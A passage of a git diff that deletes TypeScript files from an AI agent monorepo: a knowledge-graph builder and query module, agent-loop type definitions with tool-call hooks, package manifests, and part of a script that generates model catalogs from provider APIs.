- idPrefix: string, - nodeType: NodeType, - milestoneNodeId: string, - sourceFile: string, - nodes: GraphNode[], - edges: GraphEdge[], -): void { - // Each item is a bullet line starting with "- " followed by optional - // indented "Source: ..." line. - // We collect bullet items and their associated source attribution. - const lines = sectionContent.split("\n"); - let itemIndex = 0; - let currentText: string | null = null; - let currentSource: string | null = null; - - const flushItem = (): void => { - if (!currentText) return; - itemIndex += 1; - const nodeId = `${idPrefix}:${milestoneId}:${itemIndex}`; - const description = currentSource ? `${currentSource}` : undefined; - - nodes.push({ - id: nodeId, - label: currentText, - type: nodeType, - description, - confidence: "EXTRACTED", - sourceFile, - }); - - // Edge: milestone relates_to this learning node - edges.push({ - from: milestoneNodeId, - to: nodeId, - type: "relates_to", - confidence: "EXTRACTED", - }); - - currentText = null; - currentSource = null; - }; - - for (const line of lines) { - const bulletMatch = line.match(/^[-*]\s+(.+)/); - if (bulletMatch) { - flushItem(); - currentText = bulletMatch[1].trim(); - continue; - } - - // Indented source attribution: " Source: ..." - const sourceMatch = line.match(/^\s+Source:\s+(.+)/i); - if (sourceMatch && currentText !== null) { - currentSource = `Source: ${sourceMatch[1].trim()}`; - continue; - } - - // Continuation of current item text (indented non-source line) - const continuationMatch = line.match(/^\s{2,}(.+)/); - if (continuationMatch && currentText !== null && currentSource === null) { - currentText += " " + continuationMatch[1].trim(); - } - } - - flushItem(); -} - -// --------------------------------------------------------------------------- -// buildGraph -// --------------------------------------------------------------------------- - -/** - * Build a KnowledgeGraph by parsing all .sf/ artifacts. - * - * Parse errors in any single artifact are caught — the artifact is skipped - * and never causes buildGraph() to throw. - */ -export async function buildGraph(projectDir: string): Promise { - const sfRoot = resolveSFRoot(resolve(projectDir)); - - const nodes: GraphNode[] = []; - const edges: GraphEdge[] = []; - - // Each parser is wrapped so a crash in one never stops others - const parsers: Array<(g: string, n: GraphNode[], e: GraphEdge[]) => void> = [ - parseStateFile, - parseKnowledgeFile, - parseMilestoneFiles, - parseLearningsFiles, - ]; - - for (const parser of parsers) { - try { - parser(sfRoot, nodes, edges); - } catch { - // Parsing error — skip this artifact, mark as ambiguous - nodes.push({ - id: `error:${parser.name}:${Date.now()}`, - label: `Parse error in ${parser.name}`, - type: "concept", - confidence: "AMBIGUOUS", - }); - } - } - - // Deduplicate nodes by id (keep first occurrence) - const seen = new Set(); - const dedupedNodes = nodes.filter((n) => { - if (seen.has(n.id)) return false; - seen.add(n.id); - return true; - }); - - return { - nodes: dedupedNodes, - edges, - builtAt: new Date().toISOString(), - }; -} - -// --------------------------------------------------------------------------- -// writeGraph — atomic write via tmp + rename -// --------------------------------------------------------------------------- - -/** - * Write the graph to .sf/graphs/graph.json atomically. - * - * Writes to graph.tmp.json first, then renames to graph.json. - * Creates the graphs/ directory if it does not exist. - */ -export async function writeGraph( - sfRoot: string, - graph: KnowledgeGraph, -): Promise { - const dir = graphsDir(sfRoot); - mkdirSync(dir, { recursive: true }); - - const tmp = graphTmpPath(sfRoot); - const final = graphJsonPath(sfRoot); - - writeFileSync(tmp, JSON.stringify(graph, null, 2), "utf-8"); - renameSync(tmp, final); -} - -// --------------------------------------------------------------------------- -// writeSnapshot -// --------------------------------------------------------------------------- - -/** - * Copy the current graph.json to .last-build-snapshot.json. - * Adds a snapshotAt timestamp to the copy. - */ -export async function writeSnapshot(sfRoot: string): Promise { - const src = graphJsonPath(sfRoot); - if (!existsSync(src)) return; - - const dir = graphsDir(sfRoot); - mkdirSync(dir, { recursive: true }); - - const raw = readFileSync(src, "utf-8"); - let graph: KnowledgeGraph; - try { - graph = JSON.parse(raw) as KnowledgeGraph; - } catch { - return; - } - const snapshot = { ...graph, snapshotAt: new Date().toISOString() }; - - writeFileSync( - snapshotPath(sfRoot), - JSON.stringify(snapshot, null, 2), - "utf-8", - ); -} - -// --------------------------------------------------------------------------- -// graphStatus -// --------------------------------------------------------------------------- - -/** - * Return status of the graph: whether it exists, its age, and whether it is stale. - * Stale means builtAt is older than 24 hours. - */ -export async function graphStatus( - projectDir: string, -): Promise { - const sfRoot = resolveSFRoot(resolve(projectDir)); - const graphPath = graphJsonPath(sfRoot); - - if (!existsSync(graphPath)) { - return { exists: false }; - } - - try { - const raw = readFileSync(graphPath, "utf-8"); - const graph = JSON.parse(raw) as KnowledgeGraph; - - const builtAt = graph.builtAt; - const ageMs = Date.now() - new Date(builtAt).getTime(); - const ageHours = ageMs / (1000 * 60 * 60); - const stale = ageHours > 24; - - return { - exists: true, - lastBuild: builtAt, - nodeCount: graph.nodes.length, - edgeCount: graph.edges.length, - stale, - ageHours, - }; - } catch { - return { exists: false }; - } -} - -// --------------------------------------------------------------------------- -// applyBudget — trim edges to stay within token budget -// --------------------------------------------------------------------------- - -/** - * Given a set of seed node IDs and the full graph, apply BFS to collect - * reachable nodes and edges. Trims AMBIGUOUS edges first, then INFERRED, - * stopping when the estimated token count drops within budget. - * - * Budget is a rough token estimate: 1 node ≈ 20 tokens, 1 edge ≈ 10 tokens. - */ -function applyBudget( - graph: KnowledgeGraph, - seedIds: Set, - budget: number, -): { nodes: GraphNode[]; edges: GraphEdge[] } { - // BFS to collect reachable nodes (start from seeds) - const reachable = new Set(seedIds); - const queue = [...seedIds]; - - while (queue.length > 0) { - const current = queue.shift()!; - for (const edge of graph.edges) { - if (edge.from === current && !reachable.has(edge.to)) { - reachable.add(edge.to); - queue.push(edge.to); - } - } - } - - const resultNodes = graph.nodes.filter((n) => reachable.has(n.id)); - let resultEdges = graph.edges.filter( - (e) => reachable.has(e.from) && reachable.has(e.to), - ); - - // Estimate tokens and trim if over budget - // Trim AMBIGUOUS edges first, then INFERRED - const estimate = (): number => - resultNodes.length * 20 + resultEdges.length * 10; - - if (estimate() > budget) { - resultEdges = resultEdges.filter((e) => e.confidence !== "AMBIGUOUS"); - } - if (estimate() > budget) { - resultEdges = resultEdges.filter((e) => e.confidence !== "INFERRED"); - } - if (estimate() > budget) { - // Hard trim — keep only seed nodes and their EXTRACTED edges - const seedNodes = resultNodes.filter((n) => seedIds.has(n.id)); - const seedEdges = resultEdges.filter( - (e) => seedIds.has(e.from) && e.confidence === "EXTRACTED", - ); - return { nodes: seedNodes, edges: seedEdges }; - } - - return { nodes: resultNodes, edges: resultEdges }; -} - -// --------------------------------------------------------------------------- -// graphQuery -// --------------------------------------------------------------------------- - -/** - * Query the graph for nodes matching a term (case-insensitive on label + description). - * BFS from seed nodes, applying budget trimming. - * - * Reads from the pre-built graph.json. Falls back to an empty result if no - * graph exists. - */ -export async function graphQuery( - projectDir: string, - term: string, - budget = 4000, -): Promise { - const sfRoot = resolveSFRoot(resolve(projectDir)); - const graphPath = graphJsonPath(sfRoot); - - if (!existsSync(graphPath)) { - return { nodes: [], edges: [], term, budget }; - } - - let graph: KnowledgeGraph; - try { - const raw = readFileSync(graphPath, "utf-8"); - graph = JSON.parse(raw) as KnowledgeGraph; - } catch { - return { nodes: [], edges: [], term, budget }; - } - - if (!term || term.trim() === "") { - // Empty term — return empty result - return { nodes: [], edges: [], term, budget }; - } - - const lower = term.toLowerCase(); - - // Find seed nodes that match the term - const seedIds = new Set( - graph.nodes - .filter((n) => { - const labelMatch = n.label.toLowerCase().includes(lower); - const descMatch = n.description?.toLowerCase().includes(lower) ?? false; - return labelMatch || descMatch; - }) - .map((n) => n.id), - ); - - if (seedIds.size === 0) { - return { nodes: [], edges: [], term, budget }; - } - - const result = applyBudget(graph, seedIds, budget); - return { ...result, term, budget }; -} - -// --------------------------------------------------------------------------- -// graphDiff -// --------------------------------------------------------------------------- - -/** - * Compare the current graph.json with .last-build-snapshot.json. - * Returns added/removed/changed nodes and added/removed edges. - * - * If no snapshot exists, returns empty diff arrays. - */ -export async function graphDiff(projectDir: string): Promise { - const sfRoot = resolveSFRoot(resolve(projectDir)); - const empty: GraphDiffResult = { - nodes: { added: [], removed: [], changed: [] }, - edges: { added: [], removed: [] }, - }; - - const graphPath = graphJsonPath(sfRoot); - const snap = snapshotPath(sfRoot); - - if (!existsSync(graphPath)) return empty; - if (!existsSync(snap)) return empty; - - let current: KnowledgeGraph; - let snapshot: KnowledgeGraph; - - try { - current = JSON.parse(readFileSync(graphPath, "utf-8")) as KnowledgeGraph; - } catch { - return empty; - } - - try { - snapshot = JSON.parse(readFileSync(snap, "utf-8")) as KnowledgeGraph; - } catch { - return empty; - } - - const currentNodeIds = new Set(current.nodes.map((n) => n.id)); - const snapshotNodeIds = new Set(snapshot.nodes.map((n) => n.id)); - - const added = current.nodes - .filter((n) => !snapshotNodeIds.has(n.id)) - .map((n) => n.id); - const removed = snapshot.nodes - .filter((n) => !currentNodeIds.has(n.id)) - .map((n) => n.id); - - // Changed: same id but different label or description - const snapshotNodeMap = new Map(snapshot.nodes.map((n) => [n.id, n])); - const changed = current.nodes - .filter((n) => { - const snap = snapshotNodeMap.get(n.id); - if (!snap) return false; - return n.label !== snap.label || n.description !== snap.description; - }) - .map((n) => n.id); - - // Edges — compare by string key "from->to:type" - const edgeKey = (e: GraphEdge): string => `${e.from}->${e.to}:${e.type}`; - const currentEdgeKeys = new Set(current.edges.map(edgeKey)); - const snapshotEdgeKeys = new Set(snapshot.edges.map(edgeKey)); - - const edgesAdded = current.edges - .filter((e) => !snapshotEdgeKeys.has(edgeKey(e))) - .map(edgeKey); - const edgesRemoved = snapshot.edges - .filter((e) => !currentEdgeKeys.has(edgeKey(e))) - .map(edgeKey); - - return { - nodes: { added, removed, changed }, - edges: { added: edgesAdded, removed: edgesRemoved }, - }; -} diff --git a/packages/pi-agent-core/src/types.ts b/packages/pi-agent-core/src/types.ts deleted file mode 100644 index 0adcc666f..000000000 --- a/packages/pi-agent-core/src/types.ts +++ /dev/null @@ -1,396 +0,0 @@ -import type { Static, TSchema } from "@sinclair/typebox"; -import type { - AssistantMessage, - AssistantMessageEvent, - ImageContent, - Message, - Model, - SimpleStreamOptions, - streamSimple, - TextContent, - Tool, - ToolResultMessage, -} from "@singularity-forge/pi-ai"; - -/** Stream function - can return sync or Promise for async config lookup */ -export type StreamFn = ( - ...args: Parameters -) => ReturnType | Promise>; - -/** - * Configuration for how tool calls from a single assistant message are executed. - * - * - "sequential": each tool call is prepared, executed, and finalized before the next one starts. - * - "parallel": tool calls are prepared sequentially, then allowed tools execute concurrently. - * Final tool results are still emitted in assistant source order. - */ -export type ToolExecutionMode = "sequential" | "parallel"; - -/** A single tool call content block emitted by an assistant message. */ -export type AgentToolCall = Extract< - AssistantMessage["content"][number], - { type: "toolCall" } ->; - -/** - * Result returned from `beforeToolCall`. - * - * Returning `{ block: true }` prevents the tool from executing. The loop emits an error tool result instead. - * `reason` becomes the text shown in that error result. If omitted, a default blocked message is used. - */ -export interface BeforeToolCallResult { - block?: boolean; - reason?: string; -} - -/** - * Partial override returned from `afterToolCall`. - * - * Merge semantics are field-by-field: - * - `content`: if provided, replaces the tool result content array in full - * - `details`: if provided, replaces the tool result details value in full - * - `isError`: if provided, replaces the tool result error flag - * - * Omitted fields keep the original executed tool result values. - */ -export interface AfterToolCallResult { - content?: (TextContent | ImageContent)[]; - details?: unknown; - isError?: boolean; -} - -/** Context passed to `beforeToolCall`. */ -export interface BeforeToolCallContext { - /** The assistant message that requested the tool call. */ - assistantMessage: AssistantMessage; - /** The raw tool call block from `assistantMessage.content`. */ - toolCall: AgentToolCall; - /** Validated tool arguments for the target tool schema. */ - args: unknown; - /** Current agent context at the time the tool call is prepared. */ - context: AgentContext; -} - -/** Context passed to `afterToolCall`. */ -export interface AfterToolCallContext { - /** The assistant message that requested the tool call. */ - assistantMessage: AssistantMessage; - /** The raw tool call block from `assistantMessage.content`. */ - toolCall: AgentToolCall; - /** Validated tool arguments for the target tool schema. */ - args: unknown; - /** The executed tool result before any `afterToolCall` overrides are applied. */ - result: AgentToolResult; - /** Whether the executed tool result is currently treated as an error. */ - isError: boolean; - /** Current agent context at the time the tool call is finalized. */ - context: AgentContext; -} - -/** - * Configuration for the agent loop. - */ -export interface AgentLoopConfig extends SimpleStreamOptions { - model: Model; - - /** - * Converts AgentMessage[] to LLM-compatible Message[] before each LLM call. - * - * Each AgentMessage must be converted to a UserMessage, AssistantMessage, or ToolResultMessage - * that the LLM can understand. AgentMessages that cannot be converted (e.g., UI-only notifications, - * status messages) should be filtered out. - * - * @example - * ```typescript - * convertToLlm: (messages) => messages.flatMap(m => { - * if (m.role === "custom") { - * // Convert custom message to user message - * return [{ role: "user", content: m.content, timestamp: m.timestamp }]; - * } - * if (m.role === "notification") { - * // Filter out UI-only messages - * return []; - * } - * // Pass through standard LLM messages - * return [m]; - * }) - * ``` - */ - convertToLlm: (messages: AgentMessage[]) => Message[] | Promise; - - /** - * Optional transform applied to the context before `convertToLlm`. - * - * Use this for operations that work at the AgentMessage level: - * - Context window management (pruning old messages) - * - Injecting context from external sources - * - * @example - * ```typescript - * transformContext: async (messages) => { - * if (estimateTokens(messages) > MAX_TOKENS) { - * return pruneOldMessages(messages); - * } - * return messages; - * } - * ``` - */ - transformContext?: ( - messages: AgentMessage[], - signal?: AbortSignal, - ) => Promise; - - /** - * Resolves an API key dynamically for each LLM call. - * - * Useful for short-lived OAuth tokens (e.g., GitHub Copilot) that may expire - * during long-running tool execution phases. - */ - getApiKey?: ( - provider: string, - ) => Promise | string | undefined; - - /** - * Streaming hook for Predictive Execution. - * Called whenever a chunk of text or thinking is streamed from the LLM. - * Allows the system to parse intent early (e.g., "I should check") and pre-fetch context - * or run background jobs before the LLM finishes and requests a tool. - */ - onStreamChunk?: (chunk: string, context: AgentContext) => void; - - /** - * Returns steering messages to inject into the conversation mid-run. - * - * Called after tool execution boundaries to check for user steering. - * By default, returned messages are added to the context after the current - * tool batch finishes and before the next LLM call. - * - * Use this for "steering" the agent while it's working. - */ - getSteeringMessages?: () => Promise; - - /** - * Whether steering messages interrupt the current assistant tool batch. - * - * Default false preserves active tool execution: a user message typed while - * tools are running is absorbed after the current tool batch finishes. Set - * this true only for explicit stop-now workflows that should skip remaining - * tool calls. - */ - interruptToolExecutionOnSteering?: boolean; - - /** - * Returns follow-up messages to process after the agent would otherwise stop. - * - * Called when the agent has no more tool calls and no steering messages. - * If messages are returned, they're added to the context and the agent - * continues with another turn. - * - * Use this for follow-up messages that should wait until the agent finishes. - */ - getFollowUpMessages?: () => Promise; - - /** - * Tool execution mode. - * - "sequential": execute tool calls one by one - * - "parallel": preflight tool calls sequentially, then execute allowed tools concurrently - * - * Default: "parallel" - */ - toolExecution?: ToolExecutionMode; - - /** - * Called before a tool is executed, after arguments have been validated. - * - * Return `{ block: true }` to prevent execution. The loop emits an error tool result instead. - * The hook receives the agent abort signal and is responsible for honoring it. - */ - beforeToolCall?: ( - context: BeforeToolCallContext, - signal?: AbortSignal, - ) => Promise; - - /** - * Called after a tool finishes executing, before final tool events are emitted. - * - * Return an `AfterToolCallResult` to override parts of the executed tool result: - * - `content` replaces the full content array - * - `details` replaces the full details payload - * - `isError` replaces the error flag - * - * Any omitted fields keep their original values. No deep merge is performed. - * The hook receives the agent abort signal and is responsible for honoring it. - */ - afterToolCall?: ( - context: AfterToolCallContext, - signal?: AbortSignal, - ) => Promise; - - /** - * When true, tool calls in assistant messages are rendered in the TUI - * but NOT executed locally. Used for providers that handle tool execution - * internally (e.g., Claude Code CLI via Agent SDK). - * - * The agent loop emits tool_execution_start/end events for TUI rendering - * but skips tool.execute() and does not add tool results to context. - */ - externalToolExecution?: boolean; -} - -/** - * Thinking/reasoning level for models that support it. - * Note: "xhigh" is only supported by OpenAI gpt-5.1-codex-max, gpt-5.2, gpt-5.2-codex, gpt-5.3, and gpt-5.3-codex models. - */ -export type ThinkingLevel = - | "off" - | "minimal" - | "low" - | "medium" - | "high" - | "xhigh"; - -/** - * Extensible interface for custom app messages. - * Apps can extend via declaration merging: - * - * @example - * ```typescript - * declare module "@mariozechner/agent" { - * interface CustomAgentMessages { - * artifact: ArtifactMessage; - * notification: NotificationMessage; - * } - * } - * ``` - */ -// biome-ignore lint/suspicious/noEmptyInterface: extension point for downstream declaration merging -export interface CustomAgentMessages {} - -/** - * AgentMessage: Union of LLM messages + custom messages. - * This abstraction allows apps to add custom message types while maintaining - * type safety and compatibility with the base LLM messages. - */ -export type AgentMessage = - | Message - | CustomAgentMessages[keyof CustomAgentMessages]; - -/** - * Agent state containing all configuration and conversation data. - */ -export interface AgentState { - systemPrompt: string; - model: Model; - thinkingLevel: ThinkingLevel; - tools: AgentTool[]; - messages: AgentMessage[]; // Can include attachments + custom message types - isStreaming: boolean; - streamMessage: AgentMessage | null; - pendingToolCalls: Set; - error?: string; - /** - * The model currently being used for inference. Set at _runLoop() start, - * cleared when the loop ends. When present, UI should display this instead - * of `model` to avoid showing a stale value after a mid-turn model switch. - */ - activeInferenceModel?: Model; -} - -export interface AgentToolResult { - // Content blocks supporting text and images - content: (TextContent | ImageContent)[]; - // Details to be displayed in a UI or logged - details: T; -} - -// Callback for streaming tool execution updates -export type AgentToolUpdateCallback = ( - partialResult: AgentToolResult, -) => void; - -// AgentTool extends Tool but adds the execute function -export interface AgentTool< - TParameters extends TSchema = TSchema, - TDetails = any, -> extends Tool { - // A human-readable label for the tool to be displayed in UI - label: string; - execute: ( - toolCallId: string, - params: Static, - signal?: AbortSignal, - onUpdate?: AgentToolUpdateCallback, - ) => Promise>; -} - -// AgentContext is like Context but uses AgentTool -export interface AgentContext { - systemPrompt: string; - messages: AgentMessage[]; - tools?: AgentTool[]; -} - -/** - * Events emitted by the Agent for UI updates. - * These events provide fine-grained lifecycle information for messages, turns, and tool executions. - */ -export type AgentEvent = - // Agent lifecycle - | { type: "agent_start" } - | { type: "agent_end"; messages: AgentMessage[] } - // Turn lifecycle - a turn is one assistant response + any tool calls/results - | { type: "turn_start" } - | { - type: "turn_end"; - message: AgentMessage; - toolResults: ToolResultMessage[]; - } - // Message lifecycle - emitted for user, assistant, and toolResult messages - | { type: "message_start"; message: AgentMessage } - // Only emitted for assistant messages during streaming - | { - type: "message_update"; - message: AgentMessage; - assistantMessageEvent: AssistantMessageEvent; - } - | { type: "message_end"; message: AgentMessage } - // Tool execution lifecycle - | { - type: "tool_execution_start"; - toolCallId: string; - toolName: string; - args: any; - } - | { - type: "tool_execution_update"; - toolCallId: string; - toolName: string; - args: any; - partialResult: any; - } - | { - type: "tool_execution_end"; - toolCallId: string; - toolName: string; - result: any; - isError: boolean; - }; - -export interface MemoryRecord { - id?: string; - text?: string; - summary?: string; - tags?: string[]; - metadata?: Record; - [key: string]: unknown; -} - -export interface MemoryProvider { - /** Search for specific anti-patterns or facts across federated nodes or locally. */ - search( - query: string, - options?: { limit?: number; threshold?: number }, - ): Promise; - /** Store a new learning or anti-pattern to the federated graph. */ - store(memory: MemoryRecord): Promise; -} diff --git a/packages/pi-agent-core/tsconfig.json b/packages/pi-agent-core/tsconfig.json deleted file mode 100644 index 25ca6e964..000000000 --- a/packages/pi-agent-core/tsconfig.json +++ /dev/null @@ -1,34 +0,0 @@ -{ - "compilerOptions": { - "target": "ES2024", - "module": "Node16", - "lib": ["ES2024"], - "strict": true, - "esModuleInterop": true, - "skipLibCheck": true, - "incremental": true, - "forceConsistentCasingInFileNames": true, - "declaration": true, - "declarationMap": true, - "sourceMap": true, - "inlineSources": true, - "inlineSourceMap": false, - "moduleResolution": "Node16", - "resolveJsonModule": true, - "allowImportingTsExtensions": false, - "experimentalDecorators": true, - "emitDecoratorMetadata": true, - "useDefineForClassFields": false, - "types": ["node"], - "outDir": "./dist", - "rootDir": "./src" - }, - "include": ["src/**/*.ts"], - "exclude": [ - "node_modules", - "dist", - "**/*.d.ts", - "src/**/*.d.ts", - "src/**/*.test.ts" - ] -} diff --git a/packages/pi-ai/bedrock-provider.d.ts b/packages/pi-ai/bedrock-provider.d.ts deleted file mode 100644 index a66eabee6..000000000 --- a/packages/pi-ai/bedrock-provider.d.ts +++ /dev/null @@ -1 +0,0 @@ -export * from "./dist/bedrock-provider.js"; diff --git a/packages/pi-ai/bedrock-provider.js b/packages/pi-ai/bedrock-provider.js deleted file mode 100644 index a66eabee6..000000000 --- a/packages/pi-ai/bedrock-provider.js +++ /dev/null @@ -1 +0,0 @@ -export * from "./dist/bedrock-provider.js"; diff --git a/packages/pi-ai/oauth.d.ts b/packages/pi-ai/oauth.d.ts deleted file mode 100644 index 497144989..000000000 --- a/packages/pi-ai/oauth.d.ts +++ /dev/null @@ -1 +0,0 @@ -export * from "./dist/oauth.js"; diff --git a/packages/pi-ai/oauth.js b/packages/pi-ai/oauth.js deleted file mode 100644 index 497144989..000000000 --- a/packages/pi-ai/oauth.js +++ /dev/null @@ -1 +0,0 @@ -export * from "./dist/oauth.js"; diff --git a/packages/pi-ai/package.json b/packages/pi-ai/package.json deleted file mode 100644 index 5de0f6adc..000000000 --- a/packages/pi-ai/package.json +++ /dev/null @@ -1,50 +0,0 @@ -{ - "name": "@singularity-forge/pi-ai", - "version": "2.75.3", - "description": "Unified LLM API (vendored from pi-mono)", - "type": "module", - "main": "./dist/index.js", - "types": "./dist/index.d.ts", - "exports": { - ".": { - "types": "./dist/index.d.ts", - "import": "./dist/index.js" - }, - "./oauth": { - "types": "./dist/oauth.d.ts", - "import": "./dist/oauth.js" - }, - "./bedrock-provider": { - "types": "./bedrock-provider.d.ts", - "import": "./bedrock-provider.js" - } - }, - "scripts": { - "build": "tsc -p tsconfig.json" - }, - "dependencies": { - "@anthropic-ai/sdk": "^0.95.1", - "@anthropic-ai/vertex-sdk": "^0.16.0", - "@aws-sdk/client-bedrock-runtime": "^3.1045.0", - "@google/gemini-cli-core": "^0.41.2", - "@google/genai": "^2.0.1", - "@mistralai/mistralai": "^2.2.1", - "@singularity-forge/google-gemini-cli-provider": "^2.75.3", - "@sinclair/typebox": "^0.34.49", - "ajv": "^8.20.0", - "ajv-formats": "^3.0.1", - "chalk": "^5.6.2", - "jsonrepair": "^3.14.0", - "openai": "^6.37.0", - "proxy-agent": "^8.0.1", - "undici": "^8.2.0", - "yaml": "^2.8.3", - "zod-to-json-schema": "^3.24.6" - }, - "devDependencies": { - "@smithy/node-http-handler": "^4.5.0" - }, - "engines": { - "node": ">=26.1.0" - } -} diff --git a/packages/pi-ai/scripts/generate-models.ts b/packages/pi-ai/scripts/generate-models.ts deleted file mode 100644 index 19dd846c7..000000000 --- a/packages/pi-ai/scripts/generate-models.ts +++ /dev/null @@ -1,1484 +0,0 @@ -#!/usr/bin/env tsx - -import { writeFileSync } from "node:fs"; -import { join } from "node:path"; -import type { Api, KnownProvider, Model } from "../src/types.js"; - -const packageRoot = join(import.meta.dirname, ".."); - -interface ModelsDevModel { - id: string; - name: string; - tool_call?: boolean; - reasoning?: boolean; - limit?: { - context?: number; - output?: number; - }; - cost?: { - input?: number; - output?: number; - cache_read?: number; - cache_write?: number; - }; - modalities?: { - input?: string[]; - }; - provider?: { - npm?: string; - }; -} - -interface AiGatewayModel { - id: string; - name?: string; - context_window?: number; - max_tokens?: number; - tags?: string[]; - pricing?: { - input?: string | number; - output?: string | number; - input_cache_read?: string | number; - input_cache_write?: string | number; - }; -} - -const COPILOT_STATIC_HEADERS = { - "User-Agent": "GitHubCopilotChat/0.35.0", - "Editor-Version": "vscode/1.107.0", - "Editor-Plugin-Version": "copilot-chat/0.35.0", - "Copilot-Integration-Id": "vscode-chat", -} as const; - -const AI_GATEWAY_MODELS_URL = "https://ai-gateway.vercel.sh/v1"; -const AI_GATEWAY_BASE_URL = "https://ai-gateway.vercel.sh"; - -async function fetchOpenRouterModels(): Promise[]> { - try { - console.log("Fetching models from OpenRouter API..."); - const response = await fetch("https://openrouter.ai/api/v1/models"); - const data = await response.json(); - - const models: Model[] = []; - - for (const model of data.data) { - if (model.id === "openrouter/auto" || model.id === "openrouter/free") { - continue; - } - // Only include models that support tools - if (!model.supported_parameters?.includes("tools")) continue; - - // Parse provider from model ID - const provider: KnownProvider = "openrouter"; - let modelKey = model.id; - - modelKey = model.id; // Keep full ID for OpenRouter - - // Parse input modalities - const input: ("text" | "image")[] = ["text"]; - if (model.architecture?.modality?.includes("image")) { - input.push("image"); - } - - // Convert pricing from $/token to $/million tokens - const inputCost = parseFloat(model.pricing?.prompt || "0") * 1_000_000; - const outputCost = - parseFloat(model.pricing?.completion || "0") * 1_000_000; - const cacheReadCost = - parseFloat(model.pricing?.input_cache_read || "0") * 1_000_000; - const cacheWriteCost = - parseFloat(model.pricing?.input_cache_write || "0") * 1_000_000; - - const normalizedModel: Model = { - id: modelKey, - name: model.name, - api: "openai-completions", - baseUrl: "https://openrouter.ai/api/v1", - provider, - reasoning: model.supported_parameters?.includes("reasoning") || false, - input, - cost: { - input: inputCost, - output: outputCost, - cacheRead: cacheReadCost, - cacheWrite: cacheWriteCost, - }, - contextWindow: model.context_length || 4096, - maxTokens: model.top_provider?.max_completion_tokens || 4096, - }; - models.push(normalizedModel); - } - - console.log(`Fetched ${models.length} tool-capable models from OpenRouter`); - return models; - } catch (error) { - console.error("Failed to fetch OpenRouter models:", error); - return []; - } -} - -async function fetchAiGatewayModels(): Promise[]> { - try { - console.log("Fetching models from Vercel AI Gateway API..."); - const response = await fetch(`${AI_GATEWAY_MODELS_URL}/models`); - const data = await response.json(); - const models: Model[] = []; - - const toNumber = (value: string | number | undefined): number => { - if (typeof value === "number") { - return Number.isFinite(value) ? value : 0; - } - const parsed = parseFloat(value ?? "0"); - return Number.isFinite(parsed) ? parsed : 0; - }; - - const items = Array.isArray(data.data) - ? (data.data as AiGatewayModel[]) - : []; - for (const model of items) { - const tags = Array.isArray(model.tags) ? model.tags : []; - // Only include models that support tools - if (!tags.includes("tool-use")) continue; - - const input: ("text" | "image")[] = ["text"]; - if (tags.includes("vision")) { - input.push("image"); - } - - const inputCost = toNumber(model.pricing?.input) * 1_000_000; - const outputCost = toNumber(model.pricing?.output) * 1_000_000; - const cacheReadCost = - toNumber(model.pricing?.input_cache_read) * 1_000_000; - const cacheWriteCost = - toNumber(model.pricing?.input_cache_write) * 1_000_000; - - models.push({ - id: model.id, - name: model.name || model.id, - api: "anthropic-messages", - baseUrl: AI_GATEWAY_BASE_URL, - provider: "vercel-ai-gateway", - reasoning: tags.includes("reasoning"), - input, - cost: { - input: inputCost, - output: outputCost, - cacheRead: cacheReadCost, - cacheWrite: cacheWriteCost, - }, - contextWindow: model.context_window || 4096, - maxTokens: model.max_tokens || 4096, - }); - } - - console.log( - `Fetched ${models.length} tool-capable models from Vercel AI Gateway`, - ); - return models; - } catch (error) { - console.error("Failed to fetch Vercel AI Gateway models:", error); - return []; - } -} - -async function loadModelsDevData(): Promise[]> { - try { - console.log("Fetching models from models.dev API..."); - const response = await fetch("https://models.dev/api.json"); - const data = await response.json(); - - const models: Model[] = []; - - // Process Amazon Bedrock models - if (data["amazon-bedrock"]?.models) { - for (const [modelId, model] of Object.entries( - data["amazon-bedrock"].models, - )) { - const m = model as ModelsDevModel; - if (m.tool_call !== true) continue; - - const id = modelId; - - if (id.startsWith("ai21.jamba")) { - // These models doesn't support tool use in streaming mode - continue; - } - - if (id.startsWith("mistral.mistral-7b-instruct-v0")) { - // These models doesn't support system messages - continue; - } - - models.push({ - id, - name: m.name || id, - api: "bedrock-converse-stream" as const, - provider: "amazon-bedrock" as const, - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: m.reasoning === true, - input: (m.modalities?.input?.includes("image") - ? ["text", "image"] - : ["text"]) as ("text" | "image")[], - cost: { - input: m.cost?.input || 0, - output: m.cost?.output || 0, - cacheRead: m.cost?.cache_read || 0, - cacheWrite: m.cost?.cache_write || 0, - }, - contextWindow: m.limit?.context || 4096, - maxTokens: m.limit?.output || 4096, - }); - } - } - - // Process Anthropic models - if (data.anthropic?.models) { - for (const [modelId, model] of Object.entries(data.anthropic.models)) { - const m = model as ModelsDevModel; - if (m.tool_call !== true) continue; - - models.push({ - id: modelId, - name: m.name || modelId, - api: "anthropic-messages", - provider: "anthropic", - baseUrl: "https://api.anthropic.com", - reasoning: m.reasoning === true, - input: m.modalities?.input?.includes("image") - ? ["text", "image"] - : ["text"], - cost: { - input: m.cost?.input || 0, - output: m.cost?.output || 0, - cacheRead: m.cost?.cache_read || 0, - cacheWrite: m.cost?.cache_write || 0, - }, - contextWindow: m.limit?.context || 4096, - maxTokens: m.limit?.output || 4096, - }); - } - } - - // Process Google models - if (data.google?.models) { - for (const [modelId, model] of Object.entries(data.google.models)) { - const m = model as ModelsDevModel; - if (m.tool_call !== true) continue; - - models.push({ - id: modelId, - name: m.name || modelId, - api: "google-generative-ai", - provider: "google", - baseUrl: "https://generativelanguage.googleapis.com/v1beta", - reasoning: m.reasoning === true, - input: m.modalities?.input?.includes("image") - ? ["text", "image"] - : ["text"], - cost: { - input: m.cost?.input || 0, - output: m.cost?.output || 0, - cacheRead: m.cost?.cache_read || 0, - cacheWrite: m.cost?.cache_write || 0, - }, - contextWindow: m.limit?.context || 4096, - maxTokens: m.limit?.output || 4096, - }); - } - } - - // Process OpenAI models - if (data.openai?.models) { - for (const [modelId, model] of Object.entries(data.openai.models)) { - const m = model as ModelsDevModel; - if (m.tool_call !== true) continue; - - models.push({ - id: modelId, - name: m.name || modelId, - api: "openai-responses", - provider: "openai", - baseUrl: "https://api.openai.com/v1", - reasoning: m.reasoning === true, - input: m.modalities?.input?.includes("image") - ? ["text", "image"] - : ["text"], - cost: { - input: m.cost?.input || 0, - output: m.cost?.output || 0, - cacheRead: m.cost?.cache_read || 0, - cacheWrite: m.cost?.cache_write || 0, - }, - contextWindow: m.limit?.context || 4096, - maxTokens: m.limit?.output || 4096, - }); - } - } - - // Process Groq models - if (data.groq?.models) { - for (const [modelId, model] of Object.entries(data.groq.models)) { - const m = model as ModelsDevModel; - if (m.tool_call !== true) continue; - - models.push({ - id: modelId, - name: 